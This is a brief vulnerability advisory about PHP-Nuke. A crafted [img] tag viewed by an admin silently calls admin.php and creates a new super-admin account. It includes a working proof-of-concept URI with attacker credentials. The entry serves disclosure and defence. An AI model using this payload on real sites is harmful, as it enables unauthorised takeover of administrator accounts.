|
|
PHP-Nuke Image Tag Admin Command Execution Vulnerability
No exploit is required to leverage this issue. The following proof of concept has been provided: The following URI, when inserted between the '[img]' tags and viewed by an admin user will cause the creation of a new admin user: [img]http://www.example.com/admin.php?op=AddAuthor&add_aid=attacker&add_name=God&add_pwd=coolpass&add_email=kala@hot.ee&add_radminsuper=1[/img] |
|
Privacy Statement |